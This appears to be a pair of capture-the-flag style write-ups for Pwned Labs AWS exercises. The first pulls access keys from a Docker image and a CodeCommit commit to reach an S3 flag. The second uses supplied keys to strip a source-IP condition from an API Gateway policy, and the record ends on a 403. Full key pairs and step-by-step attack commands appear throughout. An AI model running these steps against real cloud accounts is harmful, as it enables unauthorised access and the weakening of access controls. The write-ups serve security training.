  Updated base image   │  alpine:3.19                                  │    1C     0H     0M     0L     1?
                       │                                               │    -1     -1    -10            -3

What's next:
    View vulnerabilities → docker scout cves hljose/huge-logistics-terraform-runner:0.12
    View base image update recommendations → docker scout recommendations hljose/huge-logistics-terraform-runner:0.12
    Include policy results in your quickview by supplying an organization → docker scout quickview hljose/huge-logistics-terraform-runner:0.12 --org

List of CVEs

❯ docker scout cves hljose/huge-logistics-terraform-runner:0.12
    ✓ SBOM of image already cached, 93 packages indexed
    ✗ Detected 9 vulnerable packages with a total of 34 vulnerabilities


## Overview

                    │                Analyzed Image
────────────────────┼────────────────────────────────────────────────
  Target            │  hljose/huge-logistics-terraform-runner:0.12
    digest          │  31bd0544dff8
    platform        │ linux/amd64
    vulnerabilities │    3C     6H    19M     1L     5?
    size            │ 62 MB
    packages        │ 93


## Packages and Vulnerabilities

   1C     1H     6M     0L     4?  openssl 3.1.1-r1
pkg:apk/alpine/openssl@3.1.1-r1?os_name=alpine&os_version=3.18

    ✗ CRITICAL CVE-2024-5535
      https://scout.docker.com/v/CVE-2024-5535
      Affected range : <3.1.6-r0
      Fixed version  : 3.1.6-r0

< -- snip -- >

There is a wealth of information, which would definitely be beneficial if this was running in a environment that we had access to, but at this stage we have gathered a lot of information about the container and lets run it and see what we can find inside the image.

❯ docker run --rm -it hljose/huge-logistics-terraform-runner:0.12 /bin/bash
e918506ff677:/# ls
bin        etc        lib        mnt        proc       run        srv        tmp        var
dev        home       media      opt        root       sbin       sys        usr        workspace

We look at the workspace folder, but there is nothing there and as we look around we see a .gitconfig file in the /root directory and when we look at the environment variables, we can see AWS credentials

e918506ff677:~# ls -la
total 16
drwx------    1 root     root          4096 Jul 19  2023 .
drwxr-xr-x    1 root     root          4096 Jul  9 07:57 ..
drwxr-xr-x    3 root     root          4096 Jul 19  2023 .cache
-rw-r--r--    1 root     root            80 Jul 19  2023 .gitconfig
e918506ff677:~# cat .gitconfig
[credential]
        helper = !aws codecommit credential-helper $@
        UseHttpPath = true
e918506ff677:~# env
HOSTNAME=e918506ff677
AWS_DEFAULT_REGION=us-east-1
PWD=/root
HOME=/root
AWS_SECRET_ACCESS_KEY=iupVtWDRuAvxWZQRS8fk8FaqgC1hh6Pf3YYgoNX1
TERM=xterm
SHLVL=1
AWS_ACCESS_KEY_ID=AKIA3NRSK2PTOA5KVIUF
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/env
OLDPWD=/home

We load the credentials that we found and can confirm that these are valid and working

❯ aws --profile pentester configure
AWS Access Key ID [None]: AKIA3NRSK2PTOA5KVIUF
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]:

❯ aws --profile pentester sts get-caller-identity
{
    "UserId": "AIDA3NRSK2PTAUXNEJTBN",
    "Account": "785010840550",
    "Arn": "arn:aws:iam::785010840550:user/prod-deploy"
}

In addition to manually inspecting the container we could have also gotten the credentials using the docker inspect hljose/huge-logistics-terraform-runner:0.12 command

< -- snip -- >
        "Config": {
            "Hostname": "",
            "Domainname": "",
            "User": "",
            "AttachStdin": false,
            "AttachStdout": false,
            "AttachStderr": false,
            "Tty": false,
            "OpenStdin": false,
            "StdinOnce": false,
            "Env": [
                "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
                "AWS_ACCESS_KEY_ID=AKIA3NRSK2PTOA5KVIUF",
                "AWS_SECRET_ACCESS_KEY=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",
                "AWS_DEFAULT_REGION=us-east-1"
            ],
            "Cmd": [
                "/bin/bash"
            ],
            "ArgsEscaped": true,
            "Image": "",
            "Volumes": {
                "/workspace": {}
            },
            "WorkingDir": "",
            "Entrypoint": null,
            "OnBuild": null,
            "Labels": {
                "description": "Feature-packed DevOps Docker image with AWS, Azure, GCP CLI tools, Terraform, and common utilities.",
                "maintainer": "jose@huge-logistics.com"
            }
        },
< -- snip -- >

Now that we have credentials, lets enumerate with aws-enumerator to see what permissions that we have, first we need to add our credentials and then we can enumerate.

❯ aws-enumerator cred -aws_region us-east-1 -aws_access_key_id AKIA3NRSK2PTOA5KVIUF -aws_secret_access_key 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
Message:  File .env with AWS credentials were created in current folder

# Filtered list of results
❯ aws-enumerator enum -services all
Message:  Successful CODECOMMIT: 1 / 2
Message:  Successful DYNAMODB: 1 / 5
Message:  Successful STS: 2 / 2
Time: 1m8.265975631s
Message:  Enumeration finished

We have 3 services that we have permissions, so we will dig into these further and see that we have the ability to ListRepositories

❯ aws-enumerator dump -services codecommit, dynamodb, sts

-------------------------------------------------- CODECOMMIT --------------------------------------------------

ListRepositories

----------------------------------------------------------------------------------------------------------------

As we have permissions to CodeCommit, we shall use the AWS CLI to list the repositories and we can see that we have access to vessel-tracking

❯ aws --profile pentester codecommit list-repositories
{
    "repositories": [
        {
            "repositoryName": "vessel-tracking",
            "repositoryId": "beb7df6c-e3a2-4094-8fc5-44451afc38d3"
        }
    ]
}

We list the repository and we can see the defaultBranch which begs the question, are there other branches?

❯ aws --profile pentester codecommit get-repository --repository-name vessel-tracking
{
    "repositoryMetadata": {
        "accountId": "785010840550",
        "repositoryId": "beb7df6c-e3a2-4094-8fc5-44451afc38d3",
        "repositoryName": "vessel-tracking",
        "repositoryDescription": "Vessel Tracking App",
        "defaultBranch": "master",
        "lastModifiedDate": "2023-07-21T01:50:46.826000+08:00",
        "creationDate": "2023-07-20T05:11:19.845000+08:00",
        "cloneUrlHttp": "https://git-codecommit.us-east-1.amazonaws.com/v1/repos/vessel-tracking",
        "cloneUrlSsh": "ssh://git-codecommit.us-east-1.amazonaws.com/v1/repos/vessel-tracking",
        "Arn": "arn:aws:codecommit:us-east-1:785010840550:vessel-tracking",
        "kmsKeyId": "alias/aws/codecommit"
    }
}

We can see that there is a dev branch and lets check that out

❯ aws --profile pentester codecommit list-branches --repository-name vessel-tracking
{
    "branches": [
        "master",
        "dev"
    ]
}

We get the branch and we have a commitId

❯ aws --profile pentester codecommit get-branch --repository-name vessel-tracking --branch-name dev
{
    "branch": {
        "branchName": "dev",
        "commitId": "b63f0756ce162a3928c4470681cf18dd2e4e2d5a"
    }
}

We look at the commit and thee is a message Allow S3 call to work universally which could be an indication that credentials have been hard coded.

❯ aws --profile pentester codecommit get-commit --commit-id b63f0756ce162a3928c4470681cf18dd2e4e2d5a --repository-name vessel-tracki
ng
{
    "commit": {
        "commitId": "b63f0756ce162a3928c4470681cf18dd2e4e2d5a",
        "treeId": "5718a0915f230aa9dd0292e7f311cb53562bb885",
        "parents": [
            "2272b1b6860912aa3b042caf9ee3aaef58b19cb1"
        ],
        "message": "Allow S3 call to work universally\n",
        "author": {
            "name": "Jose Martinez",
            "email": "jose@pwnedlabs.io",
            "date": "1689875383 +0100"
        },
        "committer": {
            "name": "Jose Martinez",
            "email": "jose@pwnedlabs.io",
            "date": "1689875383 +0100"
        },
        "additionalData": ""
    }
}

We git the differences of the from the commit and we can see that the change was js/server.js and we will now get that file

❯ aws --profile pentester codecommit get-differences --repository-name vessel-tracking --before-commit-specifier 2272b1b6860912aa3b042caf9ee3aaef58b19cb1 --after-commit-specifier b63f0756ce162a3928c4470681cf18dd2e4e2d5a
{
    "differences": [
        {
            "beforeBlob": {
                "blobId": "4381be5cc1992c598de5b7a6b73ebb438b79daba",
                "path": "js/server.js",
                "mode": "100644"
            },
            "afterBlob": {
                "blobId": "39bb76cad12f9f622b3c29c1d07c140e5292a276",
                "path": "js/server.js",
                "mode": "100644"
            },
            "changeType": "M"
        }
    ]
}

We retrieve the file and the content is base64 encoded

❯ aws --profile pentester codecommit get-file --repository-name vessel-tracking --commit-specifier b63f0756ce162a3928c4470681cf18dd2e4e2d5a --file-path js/server.js
{
    "commitId": "b63f0756ce162a3928c4470681cf18dd2e4e2d5a",
    "blobId": "39bb76cad12f9f622b3c29c1d07c140e5292a276",
    "filePath": "js/server.js",
    "fileMode": "NORMAL",
    "fileSize": 1702,
    "fileContent": "Y29uc3QgZXhwcmVzcyA9IHJlcXVpcmUoJ2V4cHJlc3MnKTsKY29uc3QgYXhpb3MgPSByZXF1aXJlKCdheGlvcycpOwpjb25zdCBBV1MgPSByZXF1aXJlKCdhd3Mtc2RrJyk7CmNvbnN0IHsgdjQ6IHV1aWR2NCB9ID0gcmVxdWlyZSgndXVpZCcpOwpyZXF1aXJlKCdkb3RlbnYnKS5jb25maWcoKTsKCmNvbnN0IGFwcCA9IGV4cHJlc3MoKTsKY29uc3QgUE9SVCA9IHByb2Nlc3MuZW52LlBPUlQgfHwgMzAwMDsKCi8vIEFXUyBTZXR1cApjb25zdCBBV1NfQUNDRVNTX0tFWSA9ICdBS0lBM05SU0syUFRMR0FXV0xURyc7CmNvbnN0IEFXU19TRUNSRVRfS0VZID0gJzJ3Vnd3NVZFQWM2NWVXV21oc3VVVXZGRVRUNyt5bVlHTGptZUNoYXMnOwoKQVdTLmNvbmZpZy51cGRhdGUoewogICAgcmVnaW9uOiAndXMtZWFzdC0xJywgIC8vIENoYW5nZSB0byB5b3VyIHJlZ2lvbgogICAgYWNjZXNzS2V5SWQ6IEFXU19BQ0NFU1NfS0VZLAogICAgc2VjcmV0QWNjZXNzS2V5OiBBV1NfU0VDUkVUX0tFWQp9KTsKY29uc3QgczMgPSBuZXcgQVdTLlMzKCk7CgphcHAudXNlKChyZXEsIHJlcywgbmV4dCkgPT4gewogICAgLy8gR2VuZXJhdGUgYSByZXF1ZXN0IElECiAgICByZXEucmVxdWVzdElEID0gdXVpZHY0KCk7CiAgICBuZXh0KCk7Cn0pOwoKYXBwLmdldCgnL3Zlc3NlbC86bXNzaScsIGFzeW5jIChyZXEsIHJlcykgPT4gewogICAgdHJ5IHsKICAgICAgICBjb25zdCBtc3NpID0gcmVxLnBhcmFtcy5tc3NpOwoKICAgICAgICAvLyBGZXRjaCBkYXRhIGZyb20gTWFyaW5lVHJhZmZpYyBBUEkKICAgICAgICBsZXQgcmVzcG9uc2UgPSBhd2FpdCBheGlvcy5nZXQoYGh0dHBzOi8vYXBpLm1hcmluZXRyYWZmaWMuY29tL3Zlc3NlbC8ke21zc2l9YCwgewogICAgICAgICAgICBoZWFkZXJzOiB7ICdBcGktS2V5JzogcHJvY2Vzcy5lbnYuTUFSSU5FX0FQSV9LRVkgfQogICAgICAgIH0pOwoKICAgICAgICBsZXQgZGF0YSA9IHJlc3BvbnNlLmRhdGE7IC8vIE1vZGlmeSBhcyBwZXIgYWN0dWFsIEFQSSByZXNwb25zZSBzdHJ1Y3R1cmUKCiAgICAgICAgLy8gVXBsb2FkIHRvIFMzCiAgICAgICAgbGV0IHBhcmFtcyA9IHsKICAgICAgICAgICAgQnVja2V0OiAndmVzc2VsLXRyYWNraW5nJywKICAgICAgICAgICAgS2V5OiBgJHttc3NpfS5qc29uYCwKICAgICAgICAgICAgQm9keTogSlNPTi5zdHJpbmdpZnkoZGF0YSksCiAgICAgICAgICAgIENvbnRlbnRUeXBlOiAiYXBwbGljYXRpb24vanNvbiIKICAgICAgICB9OwoKICAgICAgICBzMy5wdXRPYmplY3QocGFyYW1zLCBmdW5jdGlvbiAoZXJyLCBzM2RhdGEpIHsKICAgICAgICAgICAgaWYgKGVycikgcmV0dXJuIHJlcy5zdGF0dXMoNTAwKS5qc29uKGVycik7CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBTZW5kIGRhdGEgdG8gZnJvbnRlbmQKICAgICAgICAgICAgcmVzLmpzb24oewogICAgICAgICAgICAgICAgZGF0YSwKICAgICAgICAgICAgICAgIHJlcXVlc3RJRDogcmVxLnJlcXVlc3RJRAogICAgICAgICAgICB9KTsKICAgICAgICB9KTsKCiAgICB9IGNhdGNoIChlcnJvcikgewogICAgICAgIHJlcy5zdGF0dXMoNTAwKS5qc29uKHsgZXJyb3I6ICJFcnJvciBmZXRjaGluZyB2ZXNzZWwgZGF0YS4iIH0pOwogICAgfQp9KTsKCmFwcC5saXN0ZW4oUE9SVCwgKCkgPT4gewogICAgY29uc29sZS5sb2coYFNlcnZlciBpcyBydW5uaW5nIG9uIFBPUlQgJHtQT1JUfWApOwp9KTsKCg=="
}

We decode the content and we can see that the file has an AWS Access and Secret Key hard-coded.

const express = require('express');
const axios = require('axios');
const AWS = require('aws-sdk');
const { v4: uuidv4 } = require('uuid');
require('dotenv').config();

const app = express();
const PORT = process.env.PORT || 3000;

// AWS Setup
const AWS_ACCESS_KEY = 'AKIA3NRSK2PTLGAWWLTG';
const AWS_SECRET_KEY = '2wVww5VEAc65eWWmhsuUUvFETT7+ymYGLjmeChas';

AWS.config.update({
    region: 'us-east-1',  // Change to your region
    accessKeyId: AWS_ACCESS_KEY,
    secretAccessKey: AWS_SECRET_KEY
});
const s3 = new AWS.S3();

app.use((req, res, next) => {
    // Generate a request ID
    req.requestID = uuidv4();
    next();
});

app.get('/vessel/:mssi', async (req, res) => {
    try {
        const mssi = req.params.mssi;

        // Fetch data from MarineTraffic API
        let response = await axios.get(`https://api.marinetraffic.com/vessel/${mssi}`, {
            headers: { 'Api-Key': process.env.MARINE_API_KEY }
        });

        let data = response.data; // Modify as per actual API response structure

        // Upload to S3
        let params = {
            Bucket: 'vessel-tracking',
            Key: `${mssi}.json`,
            Body: JSON.stringify(data),
            ContentType: "application/json"
        };

        s3.putObject(params, function (err, s3data) {
            if (err) return res.status(500).json(err);

            // Send data to frontend
            res.json({
                data,
                requestID: req.requestID
            });
        });

    } catch (error) {
        res.status(500).json({ error: "Error fetching vessel data." });
    }
});

app.listen(PORT, () => {
    console.log(`Server is running on PORT ${PORT}`);
});

We add the credentials and verify and these belong to the code-admin user

❯ aws --profile codecommit configure
AWS Access Key ID [None]: AKIA3NRSK2PTLGAWWLTG
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]:

❯ aws --profile codecommit sts get-caller-identity
{
    "UserId": "AIDA3NRSK2PTJN636WIHU",
    "Account": "785010840550",
    "Arn": "arn:aws:iam::785010840550:user/code-admin"
}

You will note that in the server.js file that it listed an S3 bucket and we can list that and we have the flag.

❯ aws --profile codecommit s3 ls s3://vessel-tracking
2023-07-21 02:25:17         32 flag.txt
2023-07-21 02:35:56      21810 vessel-id-ae
2023-07-21 02:35:57      21770 vessel-id-af
2023-07-21 02:35:58      21515 vessel-id-ag
2023-07-21 02:35:58      21639 vessel-id-ah
2023-07-21 02:35:59      21568 vessel-id-ai
2023-07-21 02:36:00      21813 vessel-id-aj
2023-07-21 02:36:01      21575 vessel-id-ak
2023-07-21 02:36:01      21871 vessel-id-al
2023-07-21 02:36:02      21523 vessel-id-am
2023-07-21 02:36:03      21606 vessel-id-an
2023-07-21 02:36:04      21675 vessel-id-ao
2023-07-21 02:36:04      21313 vessel-id-ap
2023-07-21 02:36:05      21384 vessel-id-aq
2023-07-21 02:36:06      21573 vessel-id-ar
2023-07-21 02:36:07      21771 vessel-id-as
2023-07-21 02:36:07      21409 vessel-id-at
2023-07-21 02:36:08      21672 vessel-id-au
2023-07-21 02:36:08      21522 vessel-id-av
2023-07-21 02:36:09      21515 vessel-id-aw
2023-07-21 02:36:10      21482 vessel-id-ax
2023-07-21 02:36:10      21545 vessel-id-ay

We can download the flag and PWNED!

Pwned Labs - Bypass Restrictions in API Gateway

Mon, 08 Jul 2024 12:54:48 +0800

Bypass Restrictions in API Gateway

Scenario

As part of a red team engagement, we have gained access to several AWS CodeCommit repositories. In one of the repositories we found hardcoded AWS access keys and a development API endpoint. Can you use this to compromise more than the development environment, and help increase our access?

Learning Outcomes

Understanding of the Amazon API Gateway service
Understanding of API security and how to approach it
Making changes to resource policies and deploying new configurations
IAM policy enumeration

Real World Context

An API (Application Programming Interface) gateway is a key part of modern software stacks. Acting like a middleman between users and the backend systems, it serves as a single entry point to handle and protect access to various APIs. Being able to assess API security by exploiting vulnerabilities, misconfigurations and exposures, and learning how to prevent making these mistakes are very important skills for penetration testers, software engineers and DevOps professionals alike.

Amazon API Gateway is a comprehensive service from AWS that allows the creation, deployment, and management of APIs at scale. It provides functionalities like transforming requests and responses, managing access through authorization, controlling request rates (throttling), and integrating seamlessly with AWS services (i.e. Lambda).

Entry Point

Dev API URL: https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/dev
Access Key: AKIA2JCFAHDRB3L3OE3P
Secret Key: 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

Attack

We know that this is an API Endpoint just by looking at the URL so first things, lets see what we get back with a normal curl request

❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/dev
HTTP/2 405
content-type: application/json
content-length: 32
date: Fri, 05 Jul 2024 01:41:04 GMT
x-amzn-requestid: 3abff5eb-a62b-4192-99fa-981e71d63fc2
x-amz-apigw-id: aalPrHvdvHcED5g=
x-cache: Error from cloudfront
via: 1.1 7e377c623bb77c8cf576d7c7b5debcf2.cloudfront.net (CloudFront)
x-amz-cf-pop: KUL50-P1
x-amz-cf-id: WirPqhVonN0gxkXKGf30ejNr004iw18sg3I01aBbW8jmZfoTli7GWQ==

{"message":"Method Not Allowed"}%

This gives us a 405 Status Code telling us “Method Not Allowed”, so the next logical step would be to try using the POST Method

❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/dev -X POST
HTTP/2 405
content-type: application/json
content-length: 32
date: Fri, 05 Jul 2024 01:42:37 GMT
x-amzn-requestid: e10a80ba-ba4b-4a22-8f33-dd1218df66ad
x-amz-apigw-id: aaleGEJrvHcEaWw=
x-cache: Error from cloudfront
via: 1.1 ce0975dbd9e02d51d684d78fec086bea.cloudfront.net (CloudFront)
x-amz-cf-pop: KUL50-P1
x-amz-cf-id: G1pXVyfjsfVy0ob7O3xF-Dc884u0exy8dsUC3WoqLLFd83ntfl-ceA==

{"message":"Method Not Allowed"}%

This also returns a 405 error, so we can try all the other methods manually or try OPTIONS

❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/dev -X OPTIONS
HTTP/2 200
content-type: application/json
content-length: 0
date: Fri, 05 Jul 2024 01:42:51 GMT
x-amzn-requestid: a59c6d29-d2f4-4665-8cec-e4a6fcb9f2a7
access-control-allow-origin: *
access-control-allow-headers: Content-Type,X-Amz-Date,Authorization,X-Api-Key,X-Amz-Security-Token,X-Amz-User-Agent
x-amz-apigw-id: aalgSE6zvHcEV9A=
access-control-allow-methods: PATCH, OPTIONS
x-cache: Miss from cloudfront
via: 1.1 6a98c19531a35c06dca95806ad705bd0.cloudfront.net (CloudFront)
x-amz-cf-pop: KUL50-P1
x-amz-cf-id: Bx503JVPqfXpbXfcWZsCSy7pV6gg3p9pdDiMSf-ENELdvjeYhLOx8g==

We can see that there are two allowed methods, being OPTIONS and PATCH. The PATCH method is used to apply partial modifications and is beneficial for performance and bandwidth. Lets see what we get back when we pass in that method.

❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/dev -X PATCH
HTTP/2 500
content-type: application/json
content-length: 239
date: Fri, 05 Jul 2024 01:56:47 GMT
x-amzn-requestid: 14a3cce2-0f7e-41f9-b3cf-f1f229186fba
x-amz-apigw-id: aanjBFA9vHcEA-A=
x-cache: Error from cloudfront
via: 1.1 6a98c19531a35c06dca95806ad705bd0.cloudfront.net (CloudFront)
x-amz-cf-pop: KUL50-P1
x-amz-cf-id: 8CrnnL1yajxTUbtu5w7htlVqGTnFs30t0J6bISXdqrkBxrU4gNuIgw==

{"status":500,"error":"Dev Environment Misconfiguration","message":"The development environment is currently unavailable due to unexpected maintenance. Our team is actively working to restore service. Please try your request again later."}%

Based on the above error message, this would imply that there could be other typical environments such as uat, oat, staging, pre-prod and prod for example. We will wee what we get it we try a couple of these

❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/staging
HTTP/2 403
content-type: application/json
content-length: 42
date: Fri, 05 Jul 2024 02:04:04 GMT
x-amzn-requestid: ca31070f-5bd8-47c0-a327-41247e288f14
x-amzn-errortype: MissingAuthenticationTokenException
x-amz-apigw-id: aaonPHOwPHcEWLA=
x-cache: Error from cloudfront
via: 1.1 ce0975dbd9e02d51d684d78fec086bea.cloudfront.net (CloudFront)
x-amz-cf-pop: KUL50-P1
x-amz-cf-id: Xuey3XpWIpjZDk7ewBOBUPQJinooI0Vm4AA7mWnqmX-VxxKohrPXbg==

{"message":"Missing Authentication Token"}% 


❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/prod
HTTP/2 403
content-type: application/json
content-length: 158
date: Fri, 05 Jul 2024 01:58:26 GMT
x-amzn-requestid: 11367aa2-7340-42f8-9fe7-17eabf7ccd43
x-amzn-errortype: AccessDeniedException
x-amz-apigw-id: aanyZFUBvHcEMxw=
x-cache: Error from cloudfront
via: 1.1 05f394b31d2ed09cc806a0e6ce51c116.cloudfront.net (CloudFront)
x-amz-cf-pop: KUL50-P1
x-amz-cf-id: ISdUGWNivbPMNFmWglenJkfINHPWbVjDdAplBsTEHfF-GVBewWpudQ==

{"Message":"User: anonymous is not authorized to perform: execute-api:Invoke on resource: arn:aws:execute-api:us-west-2:********8242:dyte6595bf/api/GET/prod"}%

We get a Missing Authentication Token for all environments, except for Production which gives a different message. Doing some searching on the message, we find this article which indicates that this is related to default authentication being disabled, and the resource policy enabled.

As we have credentials, we shall configure our AWS CLI and verify that they are working.

❯ aws --profile pentester configure
AWS Access Key ID [None]: AKIA2JCFAHDRB3L3OE3P
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Default output format [None]:

❯ aws --profile pentester sts get-caller-identity
{
    "UserId": "AIDA2JCFAHDRGXV64L6KA",
    "Account": "706666838242",
    "Arn": "arn:aws:iam::706666838242:user/staging_eng"
}

We shall now see if the staging_eng account is able to list REST API’s

❯ aws --profile pentester apigateway get-rest-apis
{
    "items": [
        {
            "id": "dyte6595bf",
            "name": "APIGatewayDev",
            "description": "API prototype for new service",
            "createdDate": "2024-07-05T09:23:02+08:00",
            "apiKeySource": "HEADER",
            "endpointConfiguration": {
                "types": [
                    "EDGE"
                ]
            },
            "policy": "{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":\\\"*\\\",\\\"Action\\\":\\\"execute-api:Invoke\\\",\\\"Resource\\\":\\\"arn:aws:execute-api:us-west-2:706666838242:dyte6595bf\\/*\\/GET\\/prod\\\",\\\"Condition\\\":{\\\"IpAddress\\\":{\\\"aws:SourceIp\\\":\\\"172.16.5.10\\\"}}},{\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":\\\"*\\\",\\\"Action\\\":\\\"execute-api:Invoke\\\",\\\"Resource\\\":\\\"arn:aws:execute-api:us-west-2:706666838242:dyte6595bf\\/*\\/*\\/dev\\\"}]}",
            "disableExecuteApiEndpoint": false,
            "rootResourceId": "h6cibto12i"
        }
    ]
}

Lets make the policy section a little easier to read and we can then see that the policy applied to the production environment has a SourceIP restriction

❯ aws --profile pentester apigateway get-rest-apis | jq -r '.items[].policy' | sed 's/\\//g' | jq .
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": "*",
      "Action": "execute-api:Invoke",
      "Resource": "arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/GET/prod",
      "Condition": {
        "IpAddress": {
          "aws:SourceIp": "172.16.5.10"
        }
      }
    },
    {
      "Effect": "Allow",
      "Principal": "*",
      "Action": "execute-api:Invoke",
      "Resource": "arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/*/dev"
    }
  ]
}

The logical step that we would want to take is to find a way to remove the Source IP address restriction and we will have to enumerate further to see if we have the permission to do so.

❯ aws --profile pentester iam list-attached-user-policies --user-name staging_eng
{
    "AttachedPolicies": [
        {
            "PolicyName": "staging_engineer_policy",
            "PolicyArn": "arn:aws:iam::706666838242:policy/staging_engineer_policy"
        }
    ]
}

We have a single policy attached which we will further enumerate

❯ aws --profile pentester iam get-policy --policy-arn arn:aws:iam::706666838242:policy/staging_engineer_policy
{
    "Policy": {
        "PolicyName": "staging_engineer_policy",
        "PolicyId": "ANPA2JCFAHDROF6ZQY76U",
        "Arn": "arn:aws:iam::706666838242:policy/staging_engineer_policy",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "Policy staging engineer account",
        "CreateDate": "2024-07-05T01:23:02+00:00",
        "UpdateDate": "2024-07-05T01:23:02+00:00",
        "Tags": []
    }
}

We can see that this is Version 1, so lets get the details

❯ aws --profile pentester iam get-policy-version --policy-arn arn:aws:iam::706666838242:policy/staging_engineer_policy --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": "apigateway:POST",
                    "Effect": "Allow",
                    "Resource": "arn:aws:apigateway:us-west-2::/restapis/*/deployments"
                },
                {
                    "Action": [
                        "apigateway:GET",
                        "apigateway:PATCH"
                    ],
                    "Effect": "Allow",
                    "Resource": [
                        "arn:aws:apigateway:us-west-2::/restapis",
                        "arn:aws:apigateway:us-west-2::/restapis/*"
                    ]
                },
                {
                    "Action": "apigateway:UpdateRestApiPolicy",
                    "Effect": "Allow",
                    "Resource": "arn:aws:apigateway:us-west-2::/restapis/*"
                },
                {
                    "Action": [
                        "iam:GetPolicy",
                        "iam:GetPolicyVersion",
                        "iam:ListAttachedUserPolicies"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2024-07-05T01:23:02+00:00"
    }
}

The following is a high-level summary of the permissions that are of interest to us:

apigateway:POST: Allows creating deployments for any REST API in the us-west-2 region
apigateway:GET apigateway:PATH: Allows reading and modifying any REST API in the us-west-2 region
apigateway:UpdateRestApiPolicy: Allows updating the policy for any REST API in the us-west-2 region

We can definitely work with that and now time to review the AWS documentation on how we can modify the production endpoint to remove the SourceIP restriction.

We have the policy from earlier, and reading through the documentation, we can generate a skeleton file that we will use to fill out.

❯ aws apigateway update-rest-api --generate-cli-skeleton | tee update_api_policy.json
{
    "restApiId": "",
    "patchOperations": [
        {
            "op": "add",
            "path": "",
            "value": "",
            "from": ""
        }
    ]
}

As we have saved the policy document, we will do a little vim magic so that this is can be added into the skeleton file that we will the pass in so that we can update the policy. With the current policy in vim remove the Condition Statement and then save the file so it looks like the following:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": "*",
      "Action": "execute-api:Invoke",
      "Resource": "arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/GET/prod",
    {
      "Effect": "Allow",
      "Principal": "*",
      "Action": "execute-api:Invoke",
      "Resource": "arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/*/dev"
    }
  ]
}

From Normal Mode enter the following sequence of characters gg0 VG J and your file will now look like this:

{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": "*", "Action": "execute-api:Invoke", "Resource": "arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/GET/prod", { "Effect": "Allow", "Principal": "*", "Action": "execute-api:Invoke", "Resource": "arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/*/dev" } ] }

The following is a quick summary of the commands:

gg: Move the cursor to the beginning of the file.
0: Move the cursor to the beginning of the current line.
V: Enter Visual mode. This allows you to visually select lines.
G: Move the cursor to the last line of the file.
J: Join the selected lines into a single line.

We now need to escape characters and from command mode enter the %s /"/\\'/g command which will escape all " and copy this across to the skeleton file and make a couple of minor tweaks

Change “op” to replace
Add path /policy (Refer to AWS Documentation)
Fix the JSON formatting by adding a } after */GET/prod
Remove the from key

The skeleton file that we saved which will look like the following:

{
    "restApiId": "dyte6595bf",
    "patchOperations": [
        {
            "op": "replace",
            "path": "/policy",
            "value": "{ \"Version\": \"2012-10-17\", \"Statement\": [ { \"Effect\": \"Allow\", \"Principal\": \"*\", \"Action\": \"execute-api:Invoke\", \"Resource\": \"arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/GET/prod\"}, { \"Effect\": \"Allow\", \"Principal\": \"*\", \"Action\": \"execute-api:Invoke\", \"Resource\": \"arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/*/dev\" } ] }"
        }
    ]
}

We then import the policy document

❯ aws --profile pentester apigateway update-rest-api --cli-input-json file://update_api_policy.json
{
    "id": "dyte6595bf",
    "name": "APIGatewayDev",
    "description": "API prototype for new service",
    "createdDate": "2024-07-05T09:23:02+08:00",
    "apiKeySource": "HEADER",
    "endpointConfiguration": {
        "types": [
            "EDGE"
        ]
    },
    "policy": "{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":\\\"*\\\",\\\"Action\\\":\\\"execute-api:Invoke\\\",\\\"Resource\\\":\\\"arn:aws:execute-api:us-west-2:706666838242:dyte6595bf\\/*\\/GET\\/prod\\\"},{\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":\\\"*\\\",\\\"Action\\\":\\\"execute-api:Invoke\\\",\\\"Resource\\\":\\\"arn:aws:execute-api:us-west-2:706666838242:dyte6595bf\\/*\\/*\\/dev\\\"}]}",
    "tags": {},
    "disableExecuteApiEndpoint": false,
    "rootResourceId": "h6cibto12i"
}

We should now be able to browse the production endpoint. No!

❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/prod
HTTP/2 403
content-type: application/json
content-length: 158
date: Fri, 05 Jul 2024 04:27:50 GMT
x-amzn-requestid: e75aa770-ae72-4f6d-864f-487c63ae5bde
x-amzn-errortype: AccessDeniedException
x-amz-apigw-id: aa9rHEesPHcEpzQ=
x-cache: Error from cloudfront
via: 1.1 8c73194b247676a80d86714cba2447a4.cloudfront.net (CloudFront)
